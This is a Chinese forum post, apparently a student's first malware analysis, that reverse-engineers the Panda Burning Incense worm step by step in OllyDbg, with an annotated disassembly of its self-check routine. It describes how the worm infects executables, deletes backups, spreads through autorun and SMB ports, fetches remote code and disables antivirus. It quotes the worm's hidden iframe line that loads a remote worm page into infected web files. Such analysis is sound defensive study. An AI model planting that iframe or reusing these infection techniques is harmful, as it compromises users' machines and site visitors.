熊猫烧香病毒逆向过程及其分析思路
2020-06-09 01:21:07 Author: bbs.pediy.com(查看原文) 阅读量:445 收藏


最近学校通知不开学,网课也不想上。学习逆向也有段时间了,就想着找点东西练一下水平不高。找了个病毒分析一比较经典的病毒分析。我看网上有很多关于熊猫烧香病毒的分析,但都是侧重于对病毒功能以及影响的总结,具体分析方法并未提及。本文主要侧重于对熊猫烧香病毒逆向分析过程中的思路和方法的分享


在这里插入图片描述


  • 分析工具以及环境

 OD
 PEID
 VMware  xp虚拟机
  • 详细分析过程与思路

    1. 查看文件基本信息

      在虚拟机中用PEID打开病毒样本文件发现其无壳并且是Delphi编写的,Delphi编译器编译的程序有几个特点。
      第一: 其函数默认调用约定为Register,特点为函数参数是通过寄存器传入的。
      第二: 一般Delphi其字符串存储地址的负偏移一个dword长度处,存放字符串的长度。
        ![在这里插入图片描述](https://img-blog.csdnimg.cn/20200529153247830.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzNjI4MTQw,size_16,color_FFFFFF,t_70)
      
    2. 打开OD载入病毒样本文件

      来到程序入口点后我们进行进一步分析,我们看到入口点处有 函数①函数②,其中函数②连续调用了三次。我们F8向下执行,并分别进入两个函数分析其功能。
       ![在这里插入图片描述](https://img-blog.csdnimg.cn/20200530022125233.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzNjI4MTQw,size_16,color_FFFFFF,t_70)
      
      进入函数①我们发现其主要功能就是调用GetModuleHandleA()获得程序基地址(及程序实例句柄)
      在这里插入图片描述向下继续分析函数②,在调用函数②时我们发现其传入了两个参数,我们在数据窗口中分析发现参数有一个为一串字符串:“ ***武*汉*男*生*感*染*下*载*者*** ". 我们F7进入函数内部分析发现
      其就时将eax参数地址下的字符串进行复制 在这里插入图片描述所以我们知道了这三个参数是字符串复制函数,F8向下步过这些函数后。他们把字符串都复制到了一块连续的内存中。我们可以在数据窗口中观察这些字符的内容。
      在这里插入图片描述
      我们接着往下分析,发现两段相同的代码段,只是参数不同。也就是当程序执行完函数0x405360函数0x404018后如果je不成立则结束进程(猜测应该为病毒程序的自效验部分)。我们分别进入连个函数分析。
      在这里插入图片描述
      我们先分析函数0x405360,函数的两个参数分别指向两个字符串一个是“xboy”,另一个如下。将这连个字符串经过如下算法加密后得到一个字符串为“ ***武*汉*男*生*感*染*下*载*者*** "存到0x009000c0地址处
      在这里插入图片描述
00405360  /$  55            push ebp
00405361  |.  8BEC          mov ebp,esp
00405363  |.  83C4 E8       add esp,-0x18
00405366  |.  53            push ebx
00405367  |.  56            push esi
00405368  |.  57            push edi
00405369  |.  33DB          xor ebx,ebx
0040536B  |.  895D E8       mov [local.6],ebx
0040536E  |.  895D F0       mov [local.4],ebx
00405371  |.  895D EC       mov [local.5],ebx
00405374  |.  894D F4       mov [local.3],ecx
00405377  |.  8955 F8       mov [local.2],edx
0040537A  |.  8945 FC       mov [local.1],eax
0040537D  |.  8B45 FC       mov eax,[local.1]
00405380  |.  E8 37EDFFFF   call 004040BC
00405385  |.  8B45 F8       mov eax,[local.2]
00405388  |.  E8 2FEDFFFF   call 004040BC
0040538D  |.  33C0          xor eax,eax
0040538F  |.  55            push ebp
00405390  |.  68 4A544000   push 0x40544A
00405395  |.  64:FF30       push dword ptr fs:[eax]
00405398  |.  64:8920       mov dword ptr fs:[eax],esp
0040539B  |.  837D FC 00    cmp [local.1],0x0
0040539F  |.  75 0A         jnz X004053AB
004053A1  |.  8B45 F4       mov eax,[local.3]
004053A4  |.  E8 9BE8FFFF   call 00403C44
004053A9  |.  EB 77         jmp X00405422
004053AB  |>  8D45 EC       lea eax,[local.5]
004053AE  |.  8B55 F8       mov edx,[local.2]
004053B1  |.  E8 26E9FFFF   call 00403CDC
004053B6  |.  8D45 F0       lea eax,[local.4]
004053B9  |.  E8 86E8FFFF   call 00403C44
004053BE  |.  8B45 FC       mov eax,[local.1]
004053C1  |.  E8 06EBFFFF   call 00403ECC                                      ;  strlen(字符串1)
004053C6  |.  8BF0          mov esi,eax                                        ;  esi = eax
004053C8  |.  85F6          test esi,esi                                       ;  if(esi == 0)
004053CA  |.  7E 4B         jle X00405417                                      ;      break
004053CC  |.  BB 01000000   mov ebx,0x1                                        ;  ebx = 1
004053D1  |>  8B45 EC       /mov eax,[local.5]                                 ;  do{
004053D4  |.  E8 F3EAFFFF   |call 00403ECC                                     ;  strlen(字符串2)
004053D9  |.  50            |push eax
004053DA  |.  8BC3          |mov eax,ebx                                       ;      eax = ebx
004053DC  |.  5A            |pop edx                                           ;      edx = eax
004053DD  |.  8BCA          |mov ecx,edx                                       ;      ecx = edx
004053DF  |.  99            |cdq
004053E0  |.  F7F9          |idiv ecx                                          ;      edx = eax % ecx
004053E2  |.  8BFA          |mov edi,edx                                       ;      edi = edx
004053E4  |.  47            |inc edi                                           ;      edi++
004053E5  |.  8B45 EC       |mov eax,[local.5]
004053E8  |.  0FB64438 FF   |movzx eax,byte ptr ds:[eax+edi-0x1]               ;      eax = str1[edi - 1]
004053ED  |.  B9 0A000000   |mov ecx,0xA                                       ;      ecx = 10
004053F2  |.  33D2          |xor edx,edx                                       ;      edx = 0
004053F4  |.  F7F1          |div ecx                                           ;      edx = eax % ecx
004053F6  |.  8B45 FC       |mov eax,[local.1]
004053F9  |.  0FB64418 FF   |movzx eax,byte ptr ds:[eax+ebx-0x1]               ;      eax = str2[edi - 1]
004053FE  |.  33D0          |xor edx,eax                                       ;      edx = edx ^ eax
00405400  |.  8D45 E8       |lea eax,[local.6]
00405403  |.  E8 24EAFFFF   |call 00403E2C                                     ;      eax[ebx] = edx
00405408  |.  8B55 E8       |mov edx,[local.6]
0040540B  |.  8D45 F0       |lea eax,[local.4]
0040540E  |.  E8 C1EAFFFF   |call 00403ED4
00405413  |.  43            |inc ebx                                           ;      ebx++
00405414  |.  4E            |dec esi                                           ;      esi--
00405415  |.^ 75 BA         \jnz X004053D1                                     ;  }
00405417  |>  8B45 F4       mov eax,[local.3]
0040541A  |.  8B55 F0       mov edx,[local.4]

我们接着分析函数0x404018,我们发现其是比较两个参数eax所指向的字符串和edx所指向的字符串是否相等,而此时eax指向的字符串刚好是加密函数0x405360所产生的在0x009000c0地址下的字符串。而edx指向的地址0x0090000c地址下的字符串也刚好为此字符串,二者相当。所以不会结束进程。
在这里插入图片描述
在这里插入图片描述
现在我们知道了函数0x405360是一个加密函数,而函数0x404018是一个字符串比较函数。从而判断源文件是否被修改。
一共有两处这种判断,我们继续往下动态分析得第二处是将字符串“whboy”与如下字符串经过函数0x405360加密后得到第二张图中的字符串
在这里插入图片描述
在这里插入图片描述
程序通过这两处自效验过程后,继续运行我们继续向下分析发现程序在调用三个函数之后就会进入消息循环,所以我们可以得知这三个函数是这个病毒的主要功能。
在这里插入图片描述

在这里插入图片描述如此我们知道了,panda.exe主要是为了在系统目录的driver文件夹下创建病毒的副本spcolsv.exe文件并运行它。这样其在上方判断路径是否相等时就会成立,从而是程序继续往下执行。
接下来我们可以恢复虚拟机的初始快照,并再次分析病毒样本,当我们运行来到路径判断处时我们只要把ZF为置0即可让程序认为自己就时系统目录drivers文件夹下的spcolsv.exe程序了,接着我们就可以继续往下分析了。

在这里插入图片描述接着分析后我们第一个函数运行返回了。我们紧接着可以分析第二个功能函数了。
在这里插入图片描述

在这里插入图片描述接着会把存在的盘符与“:\”连接在一起。接着会调用0x4094a4函数,反汇编查看此函数时发现可疑。我们F7进入进一步分析。

在这里插入图片描述进一步分析我们发现其会把刚才找到存在的盘符与“%20*.*%20”连接后,调用%20FindFirstFileA( )寻找任意文件,如果找不到文件就跳转结束。(因为此时肯定有文件,所以F8运行其一定不会跳转,接着我们进一步往下分析)
在这里插入图片描述
当前寻找到文件后就会获得其扩展名,然后与“GHO”做比较,如果后缀等于“GHO”的文件统统调用DeleteFile( )删除.(GHO文件时系统备份文件,其是防止系统恢复)。
在这里插入图片描述然后其又会比较找到的文件是否为setup.exe或者NTDETECT.COM,如果为这两个文件的话则直接去寻找下一个文件,不做任何操作。在这里插入图片描述如果不是上述两个文件则继续判断文件的后缀,如果是exe,scr,pif,com文件则调用0x0040800函数,如果是htm,html,asp,php,jsp,aspx文件的话则会调用0x00407adc函数。

在这里插入图片描述我们这里在这里判断是否为exe文件处下断点,运行程序后当寻找到磁盘中的cmdline.exe文件后其会进入第一类函数中进行感染文件,我们F7进入后会分析。其会先拍摄进程快照去寻找待感染的文件是否运行,如果已运行则放弃感染。

在这里插入图片描述接着会判断查找到的文件是否为正在运行的程序,如果相等则直接返回。

在这里插入图片描述接着其会把寻找的到的exe文件读到内存中,并且设置文件属性。
在这里插入图片描述然后会将正在运行的病毒样本文件复制为待感染的exe文件。这样一来现在此exe文件现在就是病毒文件了。
在这里插入图片描述然后往下通过动态分析得:其会获得原文件得大小然后和文件名与字符whboy连接在一起并以1结尾,构成一段字符串。然后一次在病毒程序后追加写入原文件和上述标志信息。
得感染后得文件组成为

病毒文件 原文件 标志信息

接着我们利用上述思路分析0x00407adc函数得出其是通过将主要将字符串“\<iframe src=http://www.krvkr.com/worm.htm width=0 height=0>\</iframe>”添加到文件末尾而感染网络文件得。
分析完第二功能函数得第一个函数后,我们接着去分析第二个函数。我们从新加载程序,并且我们直接设eip为第二个功能函数得第二个函数。这样便于分析,不会受到前面函数得影响。

在这里插入图片描述F7进入此函数后发现设置了一个计时器,那么我们为了方便分析此计时器回调函数干了什么,我们同样先在计时器回调函数处下断点,然后在执行完此函数后直接返回到消息循环中。运行程序,发现程序会停在此计时器回调函数中。
在这里插入图片描述我们往下分析此函数,其会先在已存在得盘得根目录下寻找setup.exe文件与autorun.inf文件。然后如果没有寻找到此文件就跳转。

在这里插入图片描述
跟着跳转后,其会把正在运行得病毒文件复制为c:\setup.exe。
在这里插入图片描述在这里插入图片描述
随后又创建c:\autorun.inf文件
在这里插入图片描述往文件中写入一下内容后,将setup.exe与autorun.inf得属性设为隐藏。
在这里插入图片描述
在这里插入图片描述此函数到此就分析结束了。
紧接着我们在分析第二个功能函数得最后一个函数,同样我们重新载入程序,并且直接来到此函数处,不运行前面那几个功能函数。
在这里插入图片描述F7进入此函数,发现其会创建线程,而且是循环创建10此。为了便于对此线程回调函数得分析,我们在其执行一次创建后就让其返回到消息循环中。
并在线程回调函数处下断点,运行程序将会断在此断点处。

在这里插入图片描述程序停到此线程回调函数入口点后,我们进一步分析。发现此函数会通过端口139和端口445进行区域网传播。
在这里插入图片描述在这里插入图片描述这样此函数就分析完了,到此为止我们把前两个功能函数已经分析完了,下面分析第三个功能函数

在这里插入图片描述

  1. 第二个计时器回调函数
    接着重新载入程序来到第二个计时器回调函数处。我们在调用第二个计时器设置函数时我们应把其时间周期参数该小点,改为1000(1s)。然后在分析运行程序。
    在这里插入图片描述程序来到计时器回调函数中,发现函数实际是创建了一个线程。我们还采用直接在此线程回调函数处下断点,然后我们运行程序。
    在这里插入图片描述
    我们运行程序后,程序会停在线程回调函数得断点处。接下来我们就可以对此线程回调函数进一步分析。我们发现其会先调用0x40c728函数将一段密文与“xboy”进行一定得运算,算法和文件自效验时用的一样。最后得到一个网址。
    在这里插入图片描述接下来其会调用函数0x40c81c,反汇编查看发现可疑,我们F7进入分析。发现其实际是从刚才产生得那个网址上试图从网站读取到网页源代码并且运行代码。

  2. 第三个计时器回调函数
    当程序停在第三个即使回调函数处时,我们发现其创建了两个线程。在这里插入图片描述我们反汇编查看第二个线程得回调函数发现其利用cmd命令删除了共享文件

在这里插入图片描述

  1. 第四个计时器回调函数

来到第四个计时器回调函数后发现其创建了一个线程
在这里插入图片描述我们在线程回调函数下断点,运行程序来到回调函数处。我们发现此回调函数主要是删除一些服务和杀毒软件得启动项(瑞星了什么的)

在这里插入图片描述

该文就是我在分析病毒时的思路,没用IDA就时想锻炼锻炼反汇编代码的能力。动态调试结合IDA会更方便分析。第一次分析病毒如有不对的地方还请路过的大牛指点。

[培训]科锐逆向工程师培训(6月24日远程教学开班, 第38期)!

最后于 1天前 被码小芹编辑 ,原因:


文章来源: https://bbs.pediy.com/thread-259972.htm
如有侵权请联系:admin#unsafe.sh